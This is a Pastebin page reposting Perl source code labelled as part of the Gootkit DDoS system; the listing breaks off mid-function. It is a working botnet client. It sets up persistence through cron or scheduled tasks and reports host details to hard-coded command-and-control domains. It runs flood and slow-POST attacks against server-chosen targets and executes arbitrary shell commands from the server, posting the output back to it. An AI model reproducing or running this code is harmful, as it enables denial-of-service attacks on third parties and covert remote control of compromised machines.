Guest User

part of the Gootkit ddos system

a guest
Feb 27th, 2012
5,138
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. #part of the Gootkit ddos system
  4. use Fcntl qw(:flock :DEFAULT); 
  5.  
  6. use Socket;
  7. use IO::Socket;
  8. use IO::Select;
  9.  
  10. use POSIX 'setsid';
  11. use Cwd 'abs_path';
  12.  
  13. print "Content-type: text/plain\n\n";
  14.  
  15. #---------------------------------------------------#
  16. #   CUSTOM parameters                               #
  17. #---------------------------------------------------#
  18. my $number_of_bots = 5;
  19. my @defaults = ("paneyeum.com:80", "potopticum.com:80", "vesselopticum.com:80");
  20. my $pingTimeout = 1200;
  21. my $proxyPort = 5432;
  22. #---------------------------------------------------#
  23.  
  24.  
  25. my $lockfilename;
  26. my $serverfile;
  27. my $idfile;
  28. my $uafile;
  29.  
  30. my $kernel;
  31. my $version = "2";
  32. my $localip;
  33. my $botid;
  34. my $ua;
  35.  
  36. my $script_path = abs_path($0);
  37.  
  38. if ($^O eq "MSWin32"){
  39.     my $temp = `echo %temp%`;
  40.     chomp $temp;
  41.     $lockfilename = $temp."\\~PIF3E6.tmp";
  42.     $serverfile = $temp."\\~PIFSRV6.tmp";
  43.     $idfile = $temp."\\~PIFID45.tmp";
  44.     $uafile = $temp."\\~PIFUA11.tmp";
  45. }
  46. else {
  47.     $lockfilename = "/tmp/apachectrl.lock";
  48.     $serverfile = "/tmp/apachectrl.log";
  49.     $idfile = "/tmp/id";
  50.     $uafile = "/tmp/ua";
  51. }
  52.  
  53. exit if (!check_multiprocess());
  54.  
  55. if ($ARGV[0] eq "detach"){
  56.     detachFromConsole();
  57.     exit;
  58. }
  59.  
  60. if ($ARGV[0] eq "normal"){
  61.     print "normal work pid = $$...\n";
  62.     getKernel();
  63.     getBotId();
  64.     getLocalIp();      
  65.     getUA();
  66.     print "version = ".$version."\nkernel = ".$kernel."\nos = ".$^O."\nlocalip = ".$localip."\nbotid = ".$botid."\nua = ".$ua."\n";
  67.  
  68.     my %tasks = ();
  69.     my @newTaskList;
  70.     my $currentServer;
  71.     my $currentPort;
  72.     my $child = undef;
  73.     my $child_pid;
  74.  
  75.     $SIG{'INT'} = 'IGNORE';
  76.     $SIG{'HUP'} = 'IGNORE';
  77.     #$SIG{'TERM'} = 'IGNORE';
  78.     #$SIG{'CHLD'} = 'IGNORE';
  79.     $SIG{'PS'} = 'IGNORE';
  80.  
  81.     #addServer ("who.is:7015");
  82.     #delServer("who.is:7015");
  83.     #getDomain ("pre", "suf.co.uk");
  84.     #proxy();
  85.  
  86.     while (1){
  87.         Ping ("/ping");
  88.         sleep $pingTimeout;
  89.     }
  90.     exit;  
  91. }
  92. #if ($ARGV[0] eq "daemon")
  93. {
  94.     print "daemon...\n";
  95.     demonize();
  96.     exit;
  97. }
  98.  
  99.  
  100. sub REAPER {
  101.     while (waitpid(-1, WNOHANG) > 0){}
  102.     $SIG{CHLD} = \&REAPER;
  103. }
  104.  
  105. #------------------------------------------------------------------#
  106. sub demonize {
  107.        
  108.     if ($^O eq "MSWin32")
  109.     {
  110.         my $schedDelete = "schtasks /delete /f /tn perl";
  111.         my $schedCreate = "schtasks /create /tr \"".$^X." ".abs_path($0)." detach\" /tn perl /sc MINUTE /mo 1";
  112.         print $schedDelete."\n";
  113.         print  $schedCreate."\n";
  114.         `$schedDelete`;
  115.         `$schedCreate`;
  116.        
  117.        
  118.         my $child_proc;
  119.         print "detach...\n";
  120.         require Win32::Process;
  121.         Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_PROCESS, ".") || die "Could not spawn child: $!";
  122.         $child_pid = $child_proc->GetProcessID();      
  123.         print "child_pid = $child_pid, pid = $$ \n";
  124.            
  125.         sleep(1.0);
  126.         POSIX::waitpid(-1, POSIX::WNOHANG()); # clean up any defunct child process
  127.         print "exit pid=$$\n";
  128.         exit;
  129.     }
  130.     else {
  131.         $SIG{CHLD} = \&REAPER;
  132.         if ( fork() ) {
  133.             exit;
  134.         }        
  135.         setsid();
  136.          
  137.         chdir('/');
  138.         open STDIN, "<", "/dev/null";
  139.         open STDOUT, ">", "/dev/null";
  140.         open STDERR, ">", "/dev/null";
  141.         umask(077);
  142.          
  143.         $SIG{CHLD} = \&REAPER;
  144.         if ( fork() ) {
  145.             exit;
  146.         }
  147.         `echo '* * * * * $^X $script_path detach >/dev/null 2>&1' > /tmp/cron.d; crontab /tmp/cron.d ; rm /tmp/cron.d`;
  148.         print "$$ exec...\n";
  149.         # Now go back to your regular business.
  150.         exec "$^X $script_path normal";    
  151.         exit;
  152.     }      
  153. }
  154. #------------------------------------------------------------------#
  155. sub detachFromConsole {
  156.     if ($^O eq "MSWin32")
  157.     {  
  158.         my $child_proc;
  159.         print "detach...\n";
  160.         require Win32::Process;
  161.         Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_PROCESS, ".") || die "Could not spawn child: $!";
  162.         $child_pid = $child_proc->GetProcessID();      
  163.         print "child_pid = $child_pid, pid = $$ \n";
  164.     }
  165.     else {
  166.        
  167.         $SIG{CHLD} = \&REAPER;
  168.         if ( fork() ) {
  169.             exit;
  170.         }        
  171.         setsid();
  172.          
  173.         chdir('/');
  174.         open STDIN, "<", "/dev/null";
  175.         open STDOUT, ">", "/dev/null";
  176.         open STDERR, ">", "/dev/null";
  177.         umask(077);
  178.          
  179.         $SIG{CHLD} = \&REAPER;
  180.         if ( fork() ) {
  181.             exit;
  182.         }
  183.         print "$$ exec...\n";
  184.         # Now go back to your regular business.
  185.         exec "$^X $script_path normal";    
  186.         exit;
  187.     }
  188. }
  189. #------------------------------------------------------------------#
  190. sub check_multiprocess {
  191.     for (my $i=0; $i<$number_of_bots; $i++){
  192.         my $lockfile=$lockfilename.".".$i;
  193.         if (-f $lockfile){
  194.                 my $lock_pid = 0;
  195.                 open(LOCK,"<$lockfile");
  196.                 my $zombie_lock_flag = flock(LOCK,  LOCK_EX|LOCK_NB);
  197.                 close (LOCK);
  198.                 if ($zombie_lock_flag == 0){
  199.                     next;
  200.                 } else {
  201.                     unlink("$lockfile");
  202.                     redo;
  203.                 }
  204.         }else{
  205.             sysopen(LOCK, $lockfile, O_CREAT|O_EXCL|O_WRONLY) or die 'cannot create lock file';
  206.             print LOCK "$$\n";
  207.             close(LOCK);
  208.             open(GLOB_LOCK,"<$lockfile");
  209.             flock(GLOB_LOCK,  LOCK_EX);
  210.             return 1;
  211.         }      
  212.     }
  213.     return 0;
  214. }
  215. #------------------------------------------------------------------#
  216. sub proxy {
  217.     $SIG{CHLD} = \&REAPER; 
  218.     $child = fork;
  219.     if ($child == 0)
  220.     {
  221.         my $proxySocket;
  222.         socket($proxySocket, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  223.         setsockopt($proxySocket, SOL_SOCKET, SO_REUSEADDR, 1) or die "Can't set socket option to SO_REUSEADDR $!\n";
  224.         bind ($proxySocket, sockaddr_in($proxyPort, INADDR_ANY)) or die "Can't bind to port $proxyPort! \n";
  225.         listen($proxySocket, SOMAXCONN) or die "listen: $!";
  226.         print "Server: started on port $proxyPort\n";
  227.        
  228.  
  229.         my $activeSockets = 0;
  230.         while (1) {
  231.             my $clientSocket;
  232.             my $clientAddr;
  233.            
  234.             print "Server: waiting for connect...\n";  
  235.            
  236.             $clientAddr = accept($clientSocket, $proxySocket);
  237.             $activeSockets ++;
  238.             print "Server: new connect. activeSockets = $activeSockets\n";                 
  239.            
  240.             my $targetHost = "";
  241.             my $x;
  242.            
  243.             my $recievedLine = "";
  244.             my $dataToSend = "";
  245.             do {
  246.                 my $len = 1024;
  247.                 my $result = recv ($clientSocket, $recievedLine, $len, 0);
  248.                
  249.                 print "Server: recieved = ".$recievedLine."_\n";
  250.                
  251.                 $recievedLine =~ s/\r\n/\^/g;
  252.                 my @splitted = split(/\^/, $recievedLine);
  253.                    
  254.                 foreach $x (@splitted)
  255.                 {  
  256.                     #print "s1 = $x\n";
  257.                     if (($x =~ /^GET http\:\/\/(.*) (.*)/) || ($x =~ /^POST http\:\/\/(.*) (.*)/)){
  258.                    
  259.                         print "Server: parts url = $1\n";
  260.                         my @parts = split(/\//, $1);
  261.                        
  262.                         my $ending = $2;
  263.                        
  264.                         if ($x =~ /^GET/){
  265.                             $x = "GET ";
  266.                         }
  267.                         else {
  268.                             $x = "POST ";
  269.                         }                      
  270.                        
  271.                         $targetHost = $parts[0];
  272.                         for ($ind=1; $ind<@parts; $ind++){                         
  273.                             print "ind = $parts[$ind]\n";
  274.                             $x .= "/".$parts[$ind];
  275.                         }
  276.                         #$x .= "/"; #test it
  277.                        
  278.                         if (@parts == 1) { $x .= "\/";}
  279.                         $x .= " ".$ending;
  280.                     }
  281.                     if ($x =~ /^Proxy/){
  282.                         if ($x =~ s/^Proxy-Connection/Connection/g){
  283.                             print "s2 = $x\n"; 
  284.                             $x = "Connection: close";
  285.                         }
  286.                     }
  287.                     #print "s2 = $x\n";
  288.                     $dataToSend .= $x."\r\n";
  289.                 }
  290.                
  291.                 if ($len != length($recievedLine)){
  292.                     #finish work with this client
  293.                     if ($targetHost ne ""){
  294.                         print "Server: targetHost = $targetHost\n";
  295.                         print "Server: dataToSend = $dataToSend\n";
  296.                        
  297.                         $selector = IO::Select->new();
  298.                         my $tempSocket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$targetHost, PeerPort=>80) or die "error creating tempSocket!";
  299.                         $tempSocket->autoflush(1);
  300.                         $selector->add($tempSocket);                       
  301.                        
  302.                         print $tempSocket $dataToSend."\r\n";
  303.                        
  304.                         my @ready;
  305.                         while (1){                         
  306.                             my @ready = $selector->can_read(0);
  307.                             if (not @ready){
  308.                                 print "Server: waiting for can_read.\n";
  309.                                 sleep 1;
  310.                                 next;
  311.                             }
  312.                             #next unless(@ready);
  313.                             my $fh;
  314.                             foreach $fh (@ready) {
  315.                                 print "Server: new fh.\n";
  316.                                 if ($tempSocket eq $fh) {
  317.                                     my $msg;
  318.                                     $fh->autoflush(1);
  319.                                     my $nread = sysread($fh, $msg, 1024);
  320.                                     print "nread = $nread\n";
  321.                                     if ($nread == 0) {
  322.                                         $selector->remove($fh);
  323.                                         $fh->close;
  324.                                         #$tempSocket->close;
  325.                                         print "Server: close fh and end reading.\n";                       
  326.                                         goto endThisRead;                                  
  327.                                     }
  328.                                     print "print to clientSocket\n";
  329.                                     #print "msg = $msg\n";
  330.                                    
  331.                                     $clientSocket->autoflush(1);
  332.                                    
  333.                                     #print $clientSocket $msg;
  334.                                     send ($clientSocket, $msg, 0);
  335.                                     print "print ok\n";
  336.                                 }                              
  337.                             }
  338.                         }
  339.                         endThisRead:
  340.                         #print "Server: close temp socket.\n";
  341.                         #close $tempSocket;
  342.                     }
  343.                     print "Server: close clientSocket.\n";
  344.                     close $clientSocket;   
  345.                     $activeSockets --;
  346.                     next;
  347.                 }
  348.             } while (1);
  349.         }
  350.     }
  351.     else {
  352.         print "proxy pid = $child\n";
  353.         return $child;
  354.         exit;
  355.     }
  356. }
  357.  
  358. sub setPingTime {  
  359.     $pingTimeout = $_[0];
  360.     print "set pingTimeout = $pingTimeout\n";
  361. }
  362.  
  363. sub replaceSpaces {
  364.     my $x = $_[0];
  365.     $x =~ s/(\s+)/\%20/g;
  366.     return $x;
  367. }
  368.  
  369. sub killTask {
  370.     my $taskToKill = $_[0];    
  371.     my $pid = $tasks{$taskToKill};
  372.    
  373.     print "killTask $taskToKill, pid = $pid\n";
  374.    
  375.     #kill 1, $pid;
  376.     kill 9, $pid;
  377.     delete $tasks{$taskToKill};
  378. }
  379.  
  380. sub startNewTask {
  381.     my $taskToStart = $_[0];
  382.    
  383.     print "startNewTask $taskToStart\n";
  384.        
  385.     my ($missionId, $missionType, $rest) = split /\|/, $taskToStart;
  386.        
  387.     if ($missionType eq 'get'){
  388.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  389.             #print "id = $1| type = $2| host = $3| port = $4| path = $5| sleep = $6| duration = $7| pingtime = $8\n";
  390.             $tasks{$taskToStart} = attackHttpGet($3, $4, $5, $6, $7);
  391.             setPingTime($8);
  392.         } else {
  393.             print "malformed GET task\n";
  394.             return;
  395.         }
  396.     }elsif ($missionType eq 'post'){
  397.         print "http post\n";
  398.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  399.             #print "id = $1| type = $2| host = $3| port = $4| path = $5| sleep = $6| content = $7 | duration = $8| pingtime = $9\n";
  400.             $tasks{$taskToStart} = attackHttpPost($3, $4, $5, $6, $7, $8);
  401.             setPingTime($9);
  402.         } else {
  403.             print "malformed POST task\n";
  404.             return;
  405.         }      
  406.     }elsif ($missionType eq 'slowpost'){
  407.         print "http slow post\n";       # TODO
  408.        
  409.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {  #id3|slowpost|ya3.ru|3128|/index.html|20|1024|30|PING_TIME',    
  410.             print "id = $1| type = $2| host = $3| port = $4 | path = $5 | sleep = $6 | maxbodylen = $7| duration = $8| pingtime = $9\n";
  411.             $tasks{$taskToStart} = attackSlowPost($3, $4, $5, $6, $7, $8);         
  412.             print "pid = $tasks{$taskToStart}\n";
  413.             setPingTime($9);
  414.         } else {
  415.             print "malformed SLOW task\n";
  416.             return;
  417.         }  
  418.        
  419.     }elsif ($missionType eq 'udpflood'){
  420.         print "udpflood\n";
  421.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  422.             #print "id = $1| type = $2| host = $3| port = $4| packetsize = $5 | duration = $6| pingtime = $7\n";
  423.                        
  424.             $tasks{$taskToStart} = attackUdpFlood($3, $4, $5, $6);         
  425.             print "id = $1| type = $2| host = $3| port = $4 | packetsize = $5 | duration = $6| pingtime = $7, pid = $tasks{$taskToStart}\n";
  426.             setPingTime($7);
  427.         } else {
  428.             print "malformed UDP task\n";
  429.             return;
  430.         }      
  431.        
  432.     }elsif ($missionType eq 'tcpflood'){
  433.         print "tcpflood\n";
  434.        
  435.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  436.             #print "id = $1| type = $2| host = $3| port = $4 | duration = $5| pingtime = $6\n";
  437.             $tasks{$taskToStart} = attackTcpFlood($3, $4, $5);         
  438.             setPingTime($6);
  439.         } else {
  440.             print "malformed TCPFLOOD task\n";
  441.             return;
  442.         }      
  443.     }elsif ($missionType eq 'httpflood'){
  444.         print "httpflood from irc\n";
  445.        
  446.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  447.             #print "id = $1| type = $2| host = $3| duration = $4| pingtime = $5\n";
  448.             $tasks{$taskToStart} = attackHttpFlood($3, $4);        
  449.             setPingTime($5);
  450.         } else {
  451.             print "malformed HTTPFLOOD task\n";
  452.             return;
  453.         }                      
  454.     }elsif ($missionType eq 'troll'){
  455.         print "troll\n";
  456.        
  457.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  458.             #print "id = $1| type = $2| host = $3| port = $4 | connects = $5 | sleep = $6 | duration = $7| pingtime = $8\n";
  459.             $tasks{$taskToStart} = attackTroll($3, $4, $5, $6, $7);     #plus duration
  460.             setPingTime($8);       
  461.         } else {
  462.             print "malformed TROLL task\n";
  463.             return;
  464.         }      
  465.        
  466.     }elsif ($missionType eq 'tcp'){ # TCP атака. тоже что и тролл, но с посылкой мусора в порт после коннекта.
  467.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  468.             #print "id = $1| type = $2| host = $3| port = $4 | connects = $5 | maxbodylen = $6 | duration = $7| pingtime = $8\n";
  469.             $tasks{$taskToStart} = attackTcpTroll($3, $4, $5, $6, $7); 
  470.             setPingTime($8);
  471.         } else {
  472.             print "malformed TCPTROLL task\n";
  473.             return;
  474.         }      
  475.        
  476.     }elsif ($missionType eq 'remote'){
  477.         #todo
  478.         print "exec remote script\n";
  479.     }elsif ($missionType eq 'addserv'){    
  480.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)/) {
  481.             #print "id = $1| type = $2| server:port = $3| pingtime = $4\n";
  482.             addServer($3);
  483.             setPingTime($4);
  484.         }
  485.     }elsif ($missionType eq 'delserv'){
  486.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)/) {
  487.             #print "id = $1| type = $2| server:port = $3| pingtime = $4\n";
  488.             delServer($3);
  489.             setPingTime($4);
  490.         }
  491.     }elsif ($missionType eq 'system'){
  492.         print "system\n";
  493.         if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) { #'id6|system|uname -a|pathToSendResponce|PING_TIME',
  494.             my $answer = `$3`;
  495.             #print $answer;
  496.             sendPostRequest ($currentServer, $currentPort, $4, $answer);           
  497.             setPingTime($5);
  498.         }
  499.     }else {
  500.         print "unknown\n";
  501.     }
  502. }
  503.  
  504. sub removeZombies {
  505.     if ($^O ne "MSWin32"){
  506.         foreach my $line (keys %tasks) {   
  507.             my $pid = $tasks{$line};
  508.             my $pscmd = "ps -p ".$pid." -o pid=";
  509.             my $zombie = `$pscmd`;     
  510.             if ($zombie eq ""){
  511.                 printf "delete zombie $pid\n";
  512.                 delete $tasks{$line};
  513.             }
  514.         }
  515.     }
  516. }
  517.  
  518. sub manageTaskList{
  519.     my $found;
  520.  
  521.     removeZombies();
  522.     print "newTaskList = @newTaskList\n";
  523.    
  524.     foreach my $oldLine (keys %tasks){
  525.         $found = 0;
  526.         foreach my $newLine (@newTaskList) {       
  527.             if ($oldLine eq $newLine){ $found = 1; last; }
  528.         }
  529.         if (!$found) { killTask($oldLine); }
  530.     }
  531.    
  532.     foreach my $newLine (@newTaskList){
  533.         #print "newLine = $newLine\n";
  534.         $found = 0;
  535.         foreach my $oldLine (keys %tasks) {
  536.             if ($oldLine eq $newLine){ $found = 1; last; }
  537.         }
  538.         if (!$found) {
  539.             startNewTask($newLine);
  540.         }
  541.     }
  542. }
  543.  
  544. sub connectToServer {
  545.     my $host = $_[0];
  546.     my $port = $_[1];
  547.     my $path = $_[2];
  548.    
  549.     print ("ConnectTo $host, $port.\n");
  550.  
  551.     socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return -1;
  552.     $iaddr = inet_aton($host);
  553.     if (defined $iaddr){
  554.         $paddr = sockaddr_in($port, $iaddr);
  555.         connect(SOCK, $paddr) or return -1;
  556.     }
  557.     else {
  558.         return -1;
  559.     }
  560.    
  561.     print ("Connected to server.\n");
  562.    
  563.     my $uptime = replaceSpaces(getUptime());   
  564.     my $linuxKernel = replaceSpaces($kernel);
  565.        
  566.     $path .= "?version=$version&kernel=$linuxKernel&os=".$^O."&ip=$localip&id=$botid&up=".$uptime;
  567.     print "path = $path\n";
  568.    
  569.     my $request = "GET ".$path." HTTP/1.0\nHost: ".$host."\n\n";       
  570.     send (SOCK, $request, 0);      
  571.     @response = <SOCK>;
  572.     my $headerEnd = 0;
  573.     @newTaskList = ();    # TODO: check memory leaks
  574.     foreach $line (@response){
  575.         if ("\r\n" eq $line) {
  576.             $headerEnd = 1;
  577.             next;
  578.         }
  579.         if ($headerEnd){
  580.             chomp $line;
  581.             print "response = ".$line."\n";
  582.             push(@newTaskList, $line);         
  583.         }
  584.     }  
  585.     close(SOCK);
  586.    
  587.     $currentServer = $host;
  588.     $currentPort = $port;
  589.    
  590.     #test
  591.     #push(@newTaskList, "1|udpflood|www.fanpresent.ru|1000|30|20");
  592.    
  593.     manageTaskList();      
  594.     return 0;
  595. }
  596.  
  597. sub Ping { 
  598.     my $path = $_[0];
  599.    
  600.     foreach my $def (@defaults){
  601.         if ($def =~/^(.*)\:(.*)/){
  602.             if (connectToServer($1, $2, $path) == 0){          
  603.                 return;
  604.             }
  605.         }              
  606.     }
  607.    
  608.     if (open(FILE, $serverfile)){
  609.         my @serverlist = <FILE>;
  610.         close (FILE);
  611.         foreach my $i (@serverlist){
  612.             if ($i =~ /^(.*)\:(.*)/){
  613.                 if (connectToServer($1, $2, $path) == 0){          
  614.                     return;
  615.                 }
  616.             }
  617.         }  
  618.     }
  619.    
  620.     print "No alive servers.\n";
  621.     return;
  622. }
  623.  
  624. #хттп ГЕТ атака (парамерты : хост, порт, путь до скрипта, время ожидания между запросами)
  625. sub sendGetRequest {
  626.     my $host = $_[0];
  627.     my $port = $_[1];
  628.     my $path = $_[2];  
  629.     socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  630.     $iaddr = inet_aton($host);
  631.     $paddr = sockaddr_in($port, $iaddr);
  632.     connect(SOCK, $paddr);
  633.        
  634.     my $request = "GET ".$path." HTTP/1.0\nHost: ".$host."\n\n";       
  635.     send (SOCK, $request, 0);  
  636.     close(SOCK);
  637. }
  638.  
  639. #хост, порт, путь до скрипта, время ожидания между запросами, текстовый буффер для отсылки в теле ПОСТа
  640. sub sendPostRequest {  
  641.     my $host = $_[0];
  642.     my $port = $_[1];
  643.     my $path = $_[2];  
  644.     my $content = $_[3];   
  645.    
  646.     socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  647.     $iaddr = inet_aton($host);
  648.     $paddr = sockaddr_in($port, $iaddr);
  649.     connect(SOCK, $paddr);
  650.        
  651.     $req = join("\r\n",  "POST ".$path." HTTP/1.1",
  652.             "Host: ".$host,        
  653.             "User-Agent: ".$ua,
  654.             "Content-type: application/x-www-form-urlencoded",
  655.             "Content-length: ".length($content),
  656.             "",
  657.             $content);     
  658.    
  659.     send (SOCK, $req."\n\n", 0);   
  660.     close(SOCK);
  661. }
  662.  
  663. sub sendSlowPostRequest {
  664.     my $host = $_[0];
  665.     my $port = $_[1];
  666.     my $path = $_[2];  
  667.     my $contentLen = $_[3];
  668.     my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890";
  669.    
  670.     print "start\n";
  671.    
  672.     socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  673.     $iaddr = inet_aton($host);
  674.     $paddr = sockaddr_in($port, $iaddr);
  675.     connect(SOCK, $paddr);
  676.    
  677.     #send header
  678.     send (SOCK, "POST ".$path." HTTP/1.1\r\n", 0); 
  679.     send (SOCK, "Host: $host\r\n", 0); 
  680.     send (SOCK, "User-Agent: $ua\r\n", 0); 
  681.     send (SOCK, "Content-type: application/x-www-form-urlencoded\r\n", 0); 
  682.     send (SOCK, "Content-length: $contentLen\r\n", 0); 
  683.     send (SOCK, "\r\n", 0);
  684.    
  685.     #send body
  686.     for my $i (1..$contentLen){
  687.         my $symbol = substr $chars, int rand length($chars), 1;
  688.         print "$symbol ";
  689.         send (SOCK, $symbol, 0);
  690.         sleep 3;
  691.     }
  692.     send (SOCK, "\r\n", 0);
  693.     close(SOCK);
  694.     print "end\n";
  695. }
  696.  
  697. # HTTP GET (парамерты : хост, порт, путь до скрипта, время ожидания между запросами)
  698. sub attackHttpGet {    
  699.     $SIG{CHLD} = \&REAPER;
  700.     $child = fork;
  701.     if ($child == 0){                              
  702.         my $host = $_[0];
  703.         my $port = $_[1];
  704.         my $path = $_[2];
  705.         my $sleep = $_[3];
  706.         my $duration = $_[4];
  707.    
  708.         alarm (0);
  709.         my $itime = time;
  710.         my ($cur_time);
  711.         $cur_time = time - $itime;
  712.        
  713.         print "attackHttpGet started!\n";      
  714.        
  715.         while ($duration > $cur_time){
  716.             $cur_time = time - $itime;
  717.             sendGetRequest ($host, $port, $path);
  718.             sleep $sleep;
  719.         }
  720.         exit;
  721.     }
  722.     else {
  723.         return $child;
  724.     }
  725. }
  726.  
  727. # ПОСТ атака (парамерты : хост, порт, путь до скрипта, время ожидания между запросами, текстовый буффер для отсылки в теле ПОСТа)
  728. sub attackHttpPost {   
  729.     $SIG{CHLD} = \&REAPER;
  730.     $child = fork;
  731.     if ($child == 0){                              
  732.         my $host = $_[0];
  733.         my $port = $_[1];
  734.         my $path = $_[2];
  735.         my $sleep = $_[3];
  736.         my $content = $_[4];
  737.         my $duration = $_[5];
  738.    
  739.         alarm (0);
  740.         my $itime = time;
  741.         my ($cur_time);
  742.         $cur_time = time - $itime;
  743.        
  744.         print "attackHttpPost started!\n";     
  745.        
  746.         while ($duration > $cur_time){
  747.             $cur_time = time - $itime;
  748.             sendPostRequest ($host, $port, $path, $content);
  749.             sleep $sleep;
  750.         }
  751.         exit;
  752.     }
  753.     else {
  754.         return $child;
  755.     }
  756. }
  757.  
  758. #id3|slowpost|ya3.ru|3128|/index.html|20|1024|30|PING_TIME',       
  759. #print "id = $1| type = $2| host = $3| port = $4 | path = $5 | sleep = $6 | maxbodylen = $7| duration = $8| pingtime = $9\n";
  760. sub attackSlowPost {   
  761.     $child = fork;
  762.     if ($child == 0){                              
  763.         my $host = $_[0];
  764.         my $port = $_[1];
  765.         my $path = $_[2];
  766.         my $sleep = $_[3];
  767.         my $maxLen = $_[4];
  768.         my $duration = $_[5];
  769.        
  770.         alarm (0);
  771.         my $itime = time;
  772.         my ($cur_time);
  773.         $cur_time = time - $itime;
  774.        
  775.         print "attackSlowPost started!\n";     
  776.        
  777.         while ($duration > $cur_time){
  778.             $cur_time = time - $itime;
  779.            
  780.             my $contentLen = int ($maxLen / 3 + rand $maxLen);
  781.             sendSlowPostRequest ($host, $port, $path, $contentLen);
  782.             print "sleep $sleep\n";
  783.             sleep $sleep;
  784.         }
  785.         exit;
  786.     }
  787.     else {
  788.         return $child;
  789.     }
  790. }
  791.  
  792. # TROLL атака (парамерты : хост, порт, кол-во коннектов на 1 поток, слип). если порт 0, то порт рандом.
  793. sub attackTroll {
  794.     $SIG{CHLD} = \&REAPER;
  795.     $child = fork;
  796.     if ($child == 0){
  797.         my $host = $_[0];
  798.         my $port = $_[1];
  799.         my $connects = $_[2];
  800.         my $sleep = $_[3];
  801.         my $duration = $_[4];
  802.        
  803.         if ($port eq '0'){  # todo
  804.             $port = int rand (65535);
  805.         }
  806.        
  807.         my $iaddr = inet_aton($host);
  808.         my $paddr = sockaddr_in($port, $iaddr);
  809.         my @sockPool;
  810.        
  811.         alarm (0);
  812.         my $itime = time;
  813.         my ($cur_time);
  814.         $cur_time = time - $itime;
  815.        
  816.         print "attackTroll started!\n";    
  817.        
  818.         while ($duration > $cur_time){
  819.             $cur_time = time - $itime;     
  820.             for my $i (0..$connects){
  821.                 if (defined $sockPool[$i]) { print "close $i socket\n"; close($sockPool[$i]); delete $sockPool[$i]; }
  822.                 socket($sockPool[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));        
  823.                 connect($sockPool[$i], $paddr);
  824.             }          
  825.             sleep $sleep;
  826.             #`usleep $sleep`;
  827.         }
  828.     }else {
  829.         return $child;
  830.     }
  831. }
  832.  
  833. # TCP атака. тоже что и тролл, но с посылкой мусора в порт после коннекта. доп.параметр : максимальный размер мусорного реквеста.
  834. sub attackTcpTroll {
  835.     $SIG{CHLD} = \&REAPER;
  836.     $child = fork;
  837.     if ($child == 0){          
  838.         my $host = $_[0];
  839.         my $port = $_[1];
  840.         my $connects = $_[2];
  841.         my $maxLen = $_[3];
  842.         my $duration = $_[4];              
  843.        
  844.         if ($port eq '0'){  # todo
  845.             $port = int rand (65535);
  846.         }
  847.        
  848.         my $iaddr = inet_aton($host);
  849.         my $paddr = sockaddr_in($port, $iaddr);
  850.         my @sockPool;
  851.        
  852.         alarm (0);
  853.         my $itime = time;
  854.         my ($cur_time);
  855.         $cur_time = time - $itime;
  856.        
  857.         print "attackTcpTroll started!\n";     
  858.        
  859.         while ($duration > $cur_time){
  860.             $cur_time = time - $itime; 
  861.             for my $i (0..$connects){
  862.                
  863.                 $contentLen = int ($maxLen / 3 + rand $maxLen);
  864.                 my $garbage = genGarbage($contentLen);
  865.                 #print "contentLen = $contentLen, garbage = $garbage\n";
  866.                
  867.                 if (defined $sockPool[$i]) { close($sockPool[$i]); delete $sockPool[$i]; }
  868.                 socket($sockPool[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  869.                 connect($sockPool[$i], $paddr);
  870.                 send ($sockPool[$i], $garbage, 0);
  871.             }  
  872.         }
  873.         exit;
  874.     }else {
  875.         return $child;
  876.     }
  877. }
  878.  
  879.  
  880. # HTTP from IRC (парамерты : хост, длительность)
  881. sub attackHttpFlood {
  882.     $SIG{CHLD} = \&REAPER;
  883.     $child = fork;
  884.     if ($child == 0){  
  885.         my $host = $_[0];
  886.         my $duration = $_[1];  
  887.        
  888.         alarm (0);
  889.         my $itime = time;
  890.         my ($cur_time);
  891.         $cur_time = time - $itime;
  892.        
  893.         print "attackHttpFlood started!\n";    
  894.        
  895.         while ($duration > $cur_time){
  896.             $cur_time = time - $itime;
  897.             my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>80);
  898.             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$host."\r\nConnection: Keep-Alive\r\n\r\n";                
  899.             close($socket);
  900.         }
  901.         exit;
  902.     }
  903.     else {
  904.         return $child;
  905.     }
  906. }
  907.  
  908. # UDP from IRC (парамерты : хост, порт, размер пакета в Kb, длительность)
  909. sub attackUdpFlood {   
  910.     $SIG{CHLD} = \&REAPER;
  911.     $child = fork;
  912.     if ($child == 0){
  913.         my $host = $_[0];
  914.         my $port = $_[1];
  915.         my $packetSize = $_[2];
